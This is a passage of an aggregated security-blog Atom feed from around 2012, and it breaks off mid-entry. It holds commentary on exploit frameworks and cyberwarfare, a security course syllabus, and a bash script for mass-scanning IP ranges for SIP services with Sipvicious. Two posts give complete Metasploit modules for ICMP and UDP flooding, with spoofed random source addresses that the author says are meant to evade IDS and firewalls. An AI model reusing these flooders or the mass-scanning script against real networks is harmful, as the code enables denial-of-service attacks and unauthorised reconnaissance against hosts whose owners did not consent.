&lt;p&gt;I am happy to see how he and his colleagues in Immunity built one sustainable business model around professional bug exploitation and exploit creation. If you don&amp;#8217;t know about them, Nico&amp;#8217;s company is responsible of an automated exploitation system called &lt;a href=&quot;http://www.immunityinc.com/products-canvas.shtml&quot; title=&quot;CANVAS&quot;&gt;CANVAS&lt;/a&gt;. It contains hundred of creative and interesting pieces of code abusing, subverting and taking control of buggy software.&lt;/p&gt;
&lt;p&gt;This exploitation system, together with an exploit development framework, is used by penetration testers and security professionals regularly. Last time I had a look in this software (years ago!) it had only one exploit pack (one kind of add-on which consists of more modules targeting unpatched vulnerabilities). Now, their exploitation system include several professional extensions offering specialized exploits in 0-day, SCADA, VOIP, IBM Database, webservers, OSX, mobile phone OS, etc.&lt;/p&gt;
&lt;p&gt;Watching &lt;a href=&quot;http://www.immunityinc.com/documentation/basic_overview.html&quot; title=&quot;CANVAS basic overview&quot;&gt;CANVAS in action&lt;/a&gt; you guess as any computer user is able to run automated and massive attacks easily, and how this kind of tools become offensive weapons truly.&lt;/p&gt;
&lt;p&gt;Original studies, techniques and research in this exploitation field were really interesting and productive at the end of the 90&amp;#8242;s. Nico and I talked about this stuff changing the things really and how this community effort improved overall OS security.&lt;/p&gt;
&lt;p&gt;Along those years it supposed technical modifications with focus on IT security but it supposed a shift in the mind of a lot of system administrators and persons in charge of securing and hardening IT assets.&lt;/p&gt;
&lt;p&gt;One decade later offensive IT security tools are available. Some of them are professional tools and services while another kind of tooling is sold in underground markets too. Anyway, two things become true.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In absence of conflict we have a global, profitable and consolidated security industry feeded by &lt;a href=&quot;http://en.wikipedia.org/wiki/Zero-day_attack&quot; title=&quot;0-day&quot;&gt;0-days&lt;/a&gt; continuous.
&lt;/li&gt;
&lt;li&gt;
In presence of conflict we have a potential and global battlefield where some people talk about real &lt;a href=&quot;http://en.wikipedia.org/wiki/Cyberwarfare&quot; title=&quot;Cyberwarfare&quot;&gt;cyberwarfare&lt;/a&gt; as a politically motivated hacking to conduct sabotage and espionage among parties.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is meaningful reading as &lt;a href=&quot;http://www.economist.com/&quot; title=&quot;The Economist&quot;&gt;The Economist&lt;/a&gt; describe cyberspace as the &lt;a href=&quot;http://www.economist.com/node/16478792&quot; title=&quot;War in the fifth domain&quot;&gt;&amp;#8220;the fifth domain of warfare&amp;#8221;&lt;/a&gt; or &lt;a href=&quot;http://www.defense.gov/home/features/2010/0410_cybersec/lynn-article1.aspx&quot; title=&quot;Defending a New Domain&quot;&gt;William J. Lynn states&lt;/a&gt; that &amp;#8220;as a doctrinal matter, the Pentagon has formally recognized cyberspace as a new domain in warfare &amp;#8230; [which] has become just as critical to military operations as land, sea, air, and space&amp;#8221;.&lt;/p&gt;
&lt;p&gt;I guess knowing about automatic and easy-to-use offensive tools change the perspective a lot.&lt;/p&gt;</content>
		<author>
			<name>Javier Muñoz</name>
			<uri>http://javiermunhoz.com/blog</uri>
		</author>
		<source>
			<title type="html">old habits die hard » Security</title>
			<link rel="self" href="http://javiermunhoz.com/blog/category/security/feed/"/>
			<id>http://javiermunhoz.com/blog/category/security/feed/</id>
			<updated>2012-11-17T21:17:06+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en-US">
		<title type="html">Security lessons at MSWL 2012</title>
		<link href="http://javiermunhoz.com/blog/2012/02/20/security-lessons-at-mswl-2012/"/>
		<id>http://javiermunhoz.com/blog/?p=434</id>
		<updated>2012-02-20T03:38:14+00:00</updated>
		<content type="html">&lt;p&gt;This past weekend I ended my lessons on our &lt;a href=&quot;http://www.mastersoftwarelibre.com&quot; title=&quot;http://www.mastersoftwarelibre.com&quot;&gt;Master Software Libre&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you follow this blog you will know I usually write down the topics I teach along these lessons. It is always good thing getting feedback and getting in touch with persons reading these lines.&lt;/p&gt;
&lt;p&gt;By the way, this year our Master runs its &lt;strong&gt;fifth edition&lt;/strong&gt;. I am proud to watch how it is working and how old and new students, teachers, collaborators, &lt;a href=&quot;http://www.mastersoftwarelibre.com/temario/comite-asesor/&quot; title=&quot;community advisors&quot;&gt;community advisors&lt;/a&gt; and all our friends build this knowledge community daily.&lt;/p&gt;
&lt;p&gt;Having a broad look I am able to find plenty of technologies, hacking, know-how and a lot of relevant stuff each year.&lt;/p&gt;
&lt;p&gt;Although teaching people is always a huge responsibility, I like to start my lessons remembering IT security is a hot topic and, in essence, this domain talks about sensible and dangerous topics; so prudence and good sense are always the right way to follow here.&lt;/p&gt;
&lt;p&gt;OK &amp;#8230; so nowadays, what am I teaching in those lessons really? what am I covering under the topics of Physical Security, Cryptography, Networking and Security Networking? and, at the end, on what kind of practical laboratories and exercises are we working?&lt;/p&gt;
&lt;p&gt;Well, bearing in mind I think IT security is a very complexed topic where different social, economic and technological forces converge I compiled all security stuff covered in this V edition. In summary, some of the syllabus&amp;#8217;s drivers were the following:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On Physical Security&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Physical system security methodologies&lt;/li&gt;
&lt;li&gt;Environmental design&lt;/li&gt;
&lt;li&gt;Design and evaluation of physical protection systems&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;On Cryptography&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cryptographic models&lt;/li&gt;
&lt;li&gt;Cryptographic systems&lt;/li&gt;
&lt;li&gt;Free/open software tooling&lt;/li&gt;
&lt;li&gt;Integration and usual cases&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;On Networking&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Foundations&lt;/li&gt;
&lt;li&gt;User and Kernel stack implementation&lt;/li&gt;
&lt;li&gt;Administration and tooling&lt;/li&gt;
&lt;li&gt;Typical configurations and trouble shooting&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;On Security Networking&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Network attacks and defense&lt;/li&gt;
&lt;li&gt;Good practices, blueprints and security methodology&lt;/li&gt;
&lt;li&gt;Network device security&lt;/li&gt;
&lt;li&gt;Network architectures&lt;/li&gt;
&lt;li&gt;Integrity and availability&lt;/li&gt;
&lt;li&gt;Exploitation and responsible disclosure&lt;/li&gt;
&lt;li&gt;Underground markets&lt;/li&gt;
&lt;li&gt;Vulnerability management&lt;/li&gt;
&lt;li&gt;Risk analysis and defense models&lt;/li&gt;
&lt;li&gt;Advanced and strategic defense in organizations&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aligned with these points, I ran some new live-demos and attacks too.&lt;/p&gt;
&lt;p&gt;Apart of the usual attacks showing design flaws, networking protocol weaknesses, practical communication hijacking or break-in techniques; we studied real networks following one ethical and legal approach. It was useful to identify their strengths and weaknesses while suggesting possible solutions and alternatives.&lt;/p&gt;
&lt;p&gt;Finally, together with the design and model of their own embassy by students, we jumped to Linux kernel land to study (line by line in source code) as a real Linux kernel rootkit works under the hood; hiding network connections, users, files and so on.&lt;/p&gt;
&lt;p&gt;I would like to think this new 5th promotion have now a better insight and perception of the real risk and magnitude of the battlefield out there &amp;#8230; I think so &lt;img src=&quot;http://javiermunhoz.com/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt;  &lt;/p&gt;
&lt;p&gt;Happy hacking!&lt;/p&gt;</content>
		<author>
			<name>Javier Muñoz</name>
			<uri>http://javiermunhoz.com/blog</uri>
		</author>
		<source>
			<title type="html">old habits die hard » Security</title>
			<link rel="self" href="http://javiermunhoz.com/blog/category/security/feed/"/>
			<id>http://javiermunhoz.com/blog/category/security/feed/</id>
			<updated>2012-11-17T21:17:06+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Scanning the world with Sipvicious</title>
		<link href="http://nicerosniunos.blogspot.com/2012/02/scanning-world-with-sipvicious.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-8027258148899937728</id>
		<updated>2012-02-11T18:40:00+00:00</updated>
		<content type="html">&lt;br /&gt;Hi, I´m scanning a large number of ranges with &lt;a href=&quot;http://code.google.com/p/sipvicious/&quot; target=&quot;_blank&quot;&gt;Sipvicious&lt;/a&gt; (&quot;&lt;a href=&quot;http://code.google.com/p/sipvicious/wiki/SvmapUsage&quot;&gt;svmap.py&lt;/a&gt;&quot;) and I would like to share some tips which helped me during the process:&lt;br /&gt;&lt;br /&gt;- The use of sessions (-s) and reports (&quot;svreport.py&quot;) is necessary to prevent mixing of obtained data.&lt;br /&gt;&lt;br /&gt;- It´s a good idea to scan not only port 5060, you should add successive ports because some sysadmins configure their SIP services to run there (-p5060-5065).&lt;br /&gt;&lt;br /&gt;- There is a &lt;a href=&quot;http://www.voip-info.org/wiki/view/NAT+and+VOIP&quot;&gt;well known &quot;problem&quot;&lt;/a&gt; about SIP and NAT, if you have installed an Asterisk you have heard about it sure :(, so we need to specify our external IP address to Sipvicious with (-x) parameter. Moreover port 5060(Sipvicious outcoming port) has to be forwarded to host which is scanning, in case that you were scanning with more than one instance at the same time successive ports should be forwarded too. I usually put the host int the DMZ trying to avoid these problems.&lt;br /&gt;&lt;br /&gt;- &quot;svreport.py&quot; tries to make a DNS lookup with the discovered IPs but it takes too much time in case of too many hosts so we can disable it (-n).&lt;br /&gt;&lt;br /&gt;- Normally, some hosts aren't recognized and marked as &quot;unknown&quot;, you could run tcpdump in order to capture the responses and avoid the loss of information.&lt;br /&gt;&lt;br /&gt;- I wrote that dirty bash script which reflects exposed ideas:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;-----------------------------------------&lt;br /&gt;&lt;code&gt;&lt;span&gt;#!/bin/bash&lt;br /&gt;# It scans ranges from a text file with sipvicious&lt;br /&gt;# Use: ./scanRange.sh&lt;br /&gt;&lt;br /&gt;SVMAP=&quot;/home/baguira/Installed/sipvicious/svmap.py&quot;&lt;br /&gt;SVREPORT=&quot;/home/baguira/Installed/sipvicious/svreport.py&quot;&lt;br /&gt;&lt;br /&gt;# just in case &quot;unknown&quot; devices&lt;br /&gt;sudo tcpdump udp and dst host 192.168.9.5 -s 65535 -w capture1.pcap &amp;amp; &lt;br /&gt;# scan all ranges&lt;br /&gt;for RANGE in $(cat ranges1.txt)&lt;br /&gt;do&lt;br /&gt; RNAME=$(echo $RANGE | awk -F / '{print $1}')&lt;br /&gt; EXTIP=$(curl -s icanhazip.com)&lt;br /&gt; $SVMAP -p5060-5065 -s $RNAME -x $EXTIP --randomize $RANGE&lt;br /&gt; NEXTIP=$(curl -s icanhazip.com)&lt;br /&gt; # external ip change check&lt;br /&gt; if [ &quot;$EXTIP&quot; != &quot;$NEXTIP&quot; ]&lt;br /&gt; then&lt;br /&gt;  # wait until router finish reboot&lt;br /&gt;  sleep 180&lt;br /&gt;  $SVREPORT delete -s $RNAME&lt;br /&gt;  EXTIP=$(curl -s icanhazip.com)&lt;br /&gt;  $SVMAP -p5060-5065 -s $RNAME -x $EXTIP --randomize $RANGE&lt;br /&gt; fi  &lt;br /&gt; $SVREPORT export -s $RNAME -f txt -o $RNAME.txt -n&lt;br /&gt;done&lt;br /&gt;sudo killall tcpdump &amp;gt; /dev/null &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;-----------------------------------------&lt;br /&gt;&lt;br /&gt;To sum up I would like to thank &lt;a href=&quot;http://twitter.com/sandrogauci&quot;&gt;Sandro Gauci&lt;/a&gt;&amp;nbsp;(Sipvicious developer) for the software and for being really nice whith my doubts. Thank you man! ;)&lt;br /&gt;&lt;br /&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Another simple Metasploit module: ICMP Flooder</title>
		<link href="http://nicerosniunos.blogspot.com/2012/01/another-simple-metasploit-module-icmp.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-3581549008165281931</id>
		<updated>2012-01-15T20:13:00+00:00</updated>
		<content type="html">&lt;br /&gt;Hi again!, I said I was going to develope VoIP related Metasploit modules but I was reading &lt;a href=&quot;http://www.planb-security.net/packetfu/doc/classes/PacketFu/ICMPPacket.html&quot;&gt;PacketFu documentation&lt;/a&gt; and I found that wrinting an &lt;a href=&quot;http://en.wikipedia.org/wiki/Denial-of-service_attack#ICMP_flood&quot;&gt;ICMP flooder&lt;/a&gt; couldn´t be too complicated at this point. So I share this code too, I decided to include SHOST and SIZE options too trying to get a more flexible module able to make different flavors of this attack as &lt;a href=&quot;http://en.wikipedia.org/wiki/Ping_flood&quot;&gt;Ping flood&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Smurf_attack&quot;&gt;Smurf&lt;/a&gt; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Ping_of_death&quot;&gt;Ping of death&lt;/a&gt;. Next pictures show the module in &amp;nbsp;the same way of last post.&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;code&gt;&lt;span&gt;require 'msf/core'&lt;br /&gt;&lt;br /&gt;class Metasploit3 &amp;lt; Msf::Auxiliary&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span&gt;include Msf::Auxiliary::Dos&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;div&gt;&lt;code&gt;&lt;span&gt;include Msf::Exploit::Capture&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;code&gt;&lt;span&gt;&lt;br /&gt; def initialize&lt;br /&gt;  super(&lt;br /&gt;    'Name'   =&amp;gt; 'ICMP Flooder',&lt;br /&gt;    'Description' =&amp;gt; 'A simple ICMP flooder',&lt;br /&gt;    'Author'  =&amp;gt; 'Jesus Perez',&lt;br /&gt;    'License'&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  =&amp;gt; MSF_LICENSE,&lt;br /&gt;    'Version'  =&amp;gt; '$Revision: 0 $'&lt;br /&gt;  )&lt;br /&gt;&lt;br /&gt;  register_options(&lt;br /&gt;  [&lt;br /&gt;   OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),&lt;br /&gt;   OptInt.new('NUM', [false, 'Number of ping packets to send (else unlimited)']),&lt;br /&gt;   OptInt.new('SIZE', [false, 'Size of ICMP packets to send (else 256 bytes)'])&lt;br /&gt;  ], self.class)&lt;br /&gt;  deregister_options('FILTER','PCAPFILE','SNAPLEN')&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def srchost&lt;br /&gt;  datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def size&lt;br /&gt;  datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def run&lt;br /&gt;  open_pcap&lt;br /&gt;&lt;br /&gt;  sent = 0&lt;br /&gt;  num = datastore['NUM']&lt;br /&gt;&lt;br /&gt;  print_status(&quot;ICMP flooding #{rhost}...&quot;)&lt;br /&gt;&lt;br /&gt;  p = PacketFu::ICMPPacket.new&lt;br /&gt;  p.icmp_type = 8&lt;br /&gt;  p.icmp_code = 0&lt;br /&gt;  p.ip_daddr = rhost&lt;br /&gt;&lt;br /&gt;  while (num &amp;lt;= 0) or (sent &amp;lt; num)&lt;br /&gt;   p.ip_saddr = srchost&lt;br /&gt;   p.payload = rand(36**size).to_s(36)&lt;br /&gt;   p.recalc&lt;br /&gt;   capture_sendto(p,rhost)&lt;br /&gt;   sent += 1&lt;br /&gt;  end&lt;br /&gt;&lt;br /&gt;  close_pcap&lt;br /&gt; end&lt;br /&gt;end&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-vk7ZGp0Du3k/TxMj_GrNoSI/AAAAAAAAAXg/OQXS5fLeSas/s1600/figure1.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;188&quot; src=&quot;http://2.bp.blogspot.com/-vk7ZGp0Du3k/TxMj_GrNoSI/AAAAAAAAAXg/OQXS5fLeSas/s320/figure1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;Figure: Usage information&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-Xf7jtGIn8Ds/TxMj_1OQcZI/AAAAAAAAAXo/v8GNN0KKzwg/s1600/figure2.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;52&quot; src=&quot;http://1.bp.blogspot.com/-Xf7jtGIn8Ds/TxMj_1OQcZI/AAAAAAAAAXo/v8GNN0KKzwg/s320/figure2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Figure: Sniffed packets&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Jesús Pérez&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">My first Metasploit module: UDP Flooder</title>
		<link href="http://nicerosniunos.blogspot.com/2012/01/my-first-metasploit-module-udp-flooder.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-3110106916371643768</id>
		<updated>2012-01-15T18:42:00+00:00</updated>
		<content type="html">&lt;div&gt;There are&amp;nbsp;&lt;a href=&quot;http://metasploit.com/modules/framework/search?utf8=%E2%9C%93&amp;osvdb=&amp;bid=&amp;text=sip&amp;cve=&amp;msb=&quot;&gt;very few Metasploit modules&lt;/a&gt;, neither Auxiliaries nor Exploits, VoIP related so I have in mind to write some of them&amp;nbsp;in my free time. Today I want to share a &lt;a href=&quot;http://en.wikipedia.org/wiki/UDP_flood_attack)&quot;&gt;UDP flooder&lt;/a&gt; Aux. module, which is very simple but perfect for learning, &lt;a href=&quot;http://www.hackingvoip.com/tools/udpflood.tar.gz&quot;&gt;UDPFlooder&lt;/a&gt;&amp;nbsp;is one of the many tools covered in &lt;a href=&quot;http://www.hackingvoip.com/&quot;&gt;&quot;Hacking VoIP Exposed&quot;&lt;/a&gt;&amp;nbsp;book, considered a reference in this field.&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;code&gt;&lt;span&gt;require 'msf/core'&lt;br /&gt;&lt;br /&gt;class Metasploit3 &amp;lt; Msf::Auxiliary&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span&gt;include Msf::Auxiliary::Dos&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;div&gt;&lt;code&gt;&lt;span&gt;include Msf::Exploit::Capture&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;span&gt;&lt;code&gt;&lt;br /&gt; def initialize&lt;br /&gt;  super(&lt;br /&gt;    'Name'   =&amp;gt; 'UDP Flooder',&lt;br /&gt;    'Description' =&amp;gt; 'A simple UDP flooder',&lt;br /&gt;    'Author'  =&amp;gt; 'Jesus Perez',&lt;br /&gt;    'License'&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  =&amp;gt; MSF_LICENSE,&lt;br /&gt;    'Version'  =&amp;gt; '$Revision: 0 $'&lt;/code&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;register_options(&lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;span&gt;  [&lt;br /&gt;   Opt::RPORT(5060),&lt;br /&gt;   OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),&lt;br /&gt;   OptInt.new('SPORT', [false, 'The source port (else randomizes)']),&lt;br /&gt;   OptInt.new('NUM', [false, 'Number of UDP packets to send (else unlimited)']),&lt;br /&gt;   OptInt.new('SIZE', [false, 'Size of UDP packets to send (else 256 bytes)'])&lt;br /&gt;  ], self.class)&lt;br /&gt;  deregister_options('FILTER','PCAPFILE','SNAPLEN')&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def sport&lt;br /&gt;  datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def rport&lt;br /&gt;  datastore['RPORT'].to_i&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def srchost&lt;br /&gt;  datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')&lt;br /&gt; end&lt;br /&gt; &lt;br /&gt; def size&lt;br /&gt;  datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i&lt;br /&gt; end&lt;br /&gt;&lt;br /&gt; def run&lt;br /&gt;  open_pcap&lt;br /&gt;&lt;br /&gt;  sent = 0&lt;br /&gt;  num = datastore['NUM']&lt;br /&gt;&lt;br /&gt;  print_status(&quot;UDP flooding #{rhost}:#{rport}...&quot;)&lt;br /&gt;&lt;br /&gt;  p = PacketFu::UDPPacket.new&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span&gt;p.ip_daddr = rhost&lt;br /&gt;  p.udp_dport = rport&lt;br /&gt;  &lt;br /&gt;  while (num &amp;lt;= 0) or (sent &amp;lt; num)&lt;br /&gt;   p.ip_ttl = rand(128)+128&lt;br /&gt;   p.ip_saddr = srchost&lt;br /&gt;   p.udp_sport = sport&lt;br /&gt;   p.payload = rand(36**size).to_s(36)&lt;br /&gt;   p.recalc&lt;br /&gt;   capture_sendto(p,rhost)&lt;br /&gt;   sent += 1&lt;br /&gt;  end&lt;br /&gt;&lt;br /&gt;  close_pcap&lt;br /&gt; end&lt;br /&gt;end &lt;/span&gt;&lt;/code&gt;&lt;br /&gt;-------------------------------------------------------------------------- &lt;br /&gt;&lt;br /&gt;Most of the code is taken from Metasploit &lt;a href=&quot;l:http://metasploit.com/modules/auxiliary/dos/tcp/synflood&quot;&gt;TCP SYN Flooder&lt;/a&gt;&amp;nbsp;module but I made some more changes besides adapting it to UDP. The same way TTL is changed in each packet, I prefer to change the source (spoofed) address too because of the same reason (IDS/Firewall evasion). Moreover, in this case something to send is needed so I added the new option SIZE which determines the lenght of this random string. Another different thing you could apprecciate is that option SNAPLEN is unregistered too because of having no sense in this module.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-EA9DxB-jmyM/TxMO4hxzWNI/AAAAAAAAAXY/sH2BFcapseo/s1600/figure1.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;210&quot; src=&quot;http://3.bp.blogspot.com/-EA9DxB-jmyM/TxMO4hxzWNI/AAAAAAAAAXY/sH2BFcapseo/s320/figure1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;Figure: Usage information&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Finally, in order to test if module works fine I´m going to sniff the interface and see, with help of Wireshark, what it´s really happening. Next picture shows that everything seems to be working as defined in the description of the&amp;nbsp;attack. :)&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-PyxBYtLMJRM/TxMHw5R8qOI/AAAAAAAAAXQ/Jh9WbSzbFdE/s1600/figure2.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;90&quot; src=&quot;http://1.bp.blogspot.com/-PyxBYtLMJRM/TxMHw5R8qOI/AAAAAAAAAXQ/Jh9WbSzbFdE/s320/figure2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/--EF4-7AYXFA/TxLn8haYE7I/AAAAAAAAAXI/u3ysdL1xFYA/s1600/figure3.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;120&quot; src=&quot;http://3.bp.blogspot.com/--EF4-7AYXFA/TxLn8haYE7I/AAAAAAAAAXI/u3ysdL1xFYA/s320/figure3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;Figures: Sniffed packets&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Jesús Pérez&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en-US">
		<title type="html">Physical Security &amp;amp; Criptography at MSWL 2012</title>
		<link href="http://javiermunhoz.com/blog/2011/12/15/physical-security-criptography-at-mswl-2012/"/>
		<id>http://javiermunhoz.com/blog/?p=415</id>
		<updated>2011-12-15T17:14:03+00:00</updated>
		<content type="html">&lt;p&gt;Great time at &lt;a href=&quot;http://www.mastersoftwarelibre.com/&quot; title=&quot;Master Software Libre&quot;&gt;Master Software Libre&lt;/a&gt; teaching &lt;a href=&quot;http://en.wikipedia.org/wiki/Physical_security&quot; title=&quot;Physical Security&quot;&gt;Physical Security&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptography&quot; title=&quot;Cryptography&quot;&gt;Cryptography&lt;/a&gt; contents this year. Two key areas at &lt;a href=&quot;http://en.wikipedia.org/wiki/Information_Security&quot;&gt;Information Security&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Privacy&quot; title=&quot;Privacy&quot;&gt;Privacy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;These lessons were the first ones happening before my usual lessons on Networking, Security Networking and Linux Kernel.&lt;/p&gt;
&lt;p&gt;On &lt;a href=&quot;http://en.wikipedia.org/wiki/Physical_security&quot; title=&quot;Physical Security&quot;&gt;Physical Security&lt;/a&gt; time we worked on well-know physical system security methodologies, together with two new relevant topics: environmental design and design and evaluation of physical protection systems.&lt;/p&gt;
&lt;p&gt;It was a lesson covering broad and detailed topics; ranging from designing defensible spaces, where you are able to use different elements and aspects to get natural social control and crime prevention, till a full description of technology and sensor availability to protect different facilities. Security standards or some notes to understand social behaviour (&lt;a href=&quot;http://en.wikipedia.org/wiki/The_Bronx&quot; title=&quot;The Bronx&quot;&gt;The Bronx&lt;/a&gt; study case) were worked out too.&lt;/p&gt;
&lt;p&gt;On &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptography&quot; title=&quot;Cryptography&quot;&gt;Cryptography&lt;/a&gt;, we walked along its history and development in order to understand cryptographic models and current crytographic systems, free/open software tooling, integration and usual use cases. At the end, everybody got their crypto stuff in place, ready to take part in &lt;a href=&quot;http://www.cryptnet.net/fdp/crypto/keysigning_party/en/keysigning_party.html&quot; title=&quot;The Keysigning Party HOWTO&quot;&gt;keysigning parties&lt;/a&gt; and next social community events.&lt;/p&gt;
&lt;p&gt;Ah! I almost forgot. This year, students will elaborate on the right design to build a safe and secure physical protection system for one &lt;a href=&quot;http://en.wikipedia.org/wiki/Embassy&quot; title=&quot;Embassy&quot;&gt;embassy&lt;/a&gt;.&lt;/p&gt;</content>
		<author>
			<name>Javier Muñoz</name>
			<uri>http://javiermunhoz.com/blog</uri>
		</author>
		<source>
			<title type="html">old habits die hard » Security</title>
			<link rel="self" href="http://javiermunhoz.com/blog/category/security/feed/"/>
			<id>http://javiermunhoz.com/blog/category/security/feed/</id>
			<updated>2012-11-17T21:17:06+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Some posts on Flu-Project blog</title>
		<link href="http://nicerosniunos.blogspot.com/2011/11/links-to.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-2325298160753070794</id>
		<updated>2011-11-22T12:45:00+00:00</updated>
